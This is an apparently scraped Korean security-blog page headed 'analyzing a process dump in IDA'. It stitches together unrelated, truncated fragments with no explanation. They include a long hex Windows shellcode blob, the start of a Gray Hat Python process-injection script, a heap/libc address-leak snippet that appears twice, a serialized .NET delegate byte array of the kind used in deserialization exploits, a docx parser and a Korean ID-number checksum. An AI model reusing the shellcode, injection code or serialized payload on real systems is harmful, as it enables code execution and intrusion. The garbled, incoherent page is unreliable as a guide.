#아이다에서 프로세스 덤프 분석하기
##준비물
##방법
| Title: h2spice | |
| URL: http://h2spice.blogspot.kr/feeds/posts/default | |
| Title: NULL's Laboratory | |
| URL: http://null0.tistory.com/rss | |
| Title: { cr3denza } | |
| URL: http://cr3denza.github.io/feed.xml | |
| Title: HACKABILITY |
| { | |
| /shellcode <8BE5E9FD0D0000558BEC8B4D04B8DDCCBBAAEB0141390175FB5DE900000000558BEC83E4F881EC7C01000053568BD9B9C838A44057E8820A0000B9F1FD98A189442444E8740A0000B9EE95B65089442434E8660A0000B95D4461FE8944242CE8580A0000B9AE87923F8BF0E84C0A0000B9C5D8BDE789442430E83E0A0000B958A453E589442424E8300A0000B9F0B5A25689442428E8220A0000B94713726F8944244CE8140A0000B913EF7A758BF8E8080A0000B90ACDF9238944241CE8FA090000B91EA77C2589442420E8EC090000B9C6121E7089442438E8DE090000894424148D8424800000006804010000506A00FFD68BF0B90B2F0F3089742410E8B90900008944244885F6741E8D8C24800000008A5431FF80FA5C740A80FA2F740583EE0175ED897424108364245C008D8C248000000003CEC74424504558504C8D542450C74424544F524552C74424582E455845E80C03000085C00F843302000033C9E8400A00008944241885C00F841802000033C95151516A025150FF5424388944243C85C00F84FF01000033C95151516A0450FF5424308BF885FF0F84E9010000B8657865638BF73907740546390675FB6A00FF74241C83C605FF54241C6A048BCF2BCE03C16800300000506A0089442420FF5424388BC8894C242085C90F84A60100008364242800837C24100076208BD12BF18B4C2428 |
| ''' | |
| Example taken from Gray Hat Python | |
| The script inject a shellcode which tasks is to kill the given process, so that the process will not be killed by our process directly. | |
| ''' | |
| import sys | |
| from ctypes import * | |
| # We set the EXECUTE access mask so that our shellcode will execute in the memory block we have allocated | |
| PAGE_EXECUTE_READWRITE = 0x00000040 |
#아이다에서 프로세스 덤프 분석하기
##준비물
##방법
| /* | |
| first malloc(16) : 0x1a61450 | |
| eh.. and malloc(-1) : (nil) | |
| second malloc(16) : 0x7fe57c0008c0 | |
| FYI, libc.so address is : 0x7fe5837dc000 | |
| let's calculate! : 0x7fe580000000 | |
| */ | |
| #include <stdio.h> | |
| #include <stdlib.h> |
| /* | |
| first malloc(16) : 0x1a61450 | |
| eh.. and malloc(-1) : (nil) | |
| second malloc(16) : 0x7fe57c0008c0 | |
| FYI, libc.so address is : 0x7fe5837dc000 | |
| let's calculate! : 0x7fe580000000 | |
| */ | |
| #include <stdio.h> | |
| #include <stdlib.h> |
| var serialized_obj = [ | |
| 0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,4,1,0,0,0,34,83,121,115,116,101,109,46,68,101,108, | |
| 101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108, | |
| 101,103,97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,3,3,48,83,121,115,116,101,109,46, | |
| 68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101, | |
| 103,97,116,101,69,110,116,114,121,34,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105, | |
| 122,97,116,105,111,110,72,111,108,100,101,114,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77, | |
| 101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,2,0,0, |
| import os | |
| import docx | |
| from docx.document import Document | |
| from docx.oxml.table import CT_Tbl | |
| from docx.oxml.text.paragraph import CT_P | |
| from docx.table import _Cell, Table | |
| from docx.text.paragraph import Paragraph | |
| os.chdir('C:\\OJT_Kevin\\161027_docx_parsing') |
| "use strict"; | |
| var input = '13자리의 주민번호 - 없이'; | |
| var mul = [2,3,4,5,6,7,8,9,2,3,4,5]; | |
| var sum = 0; | |
| for(var i =0; i < mul.length; i++) { | |
| var digit = parseInt(input[i]); | |
| sum += digit * mul[i]; | |
| } |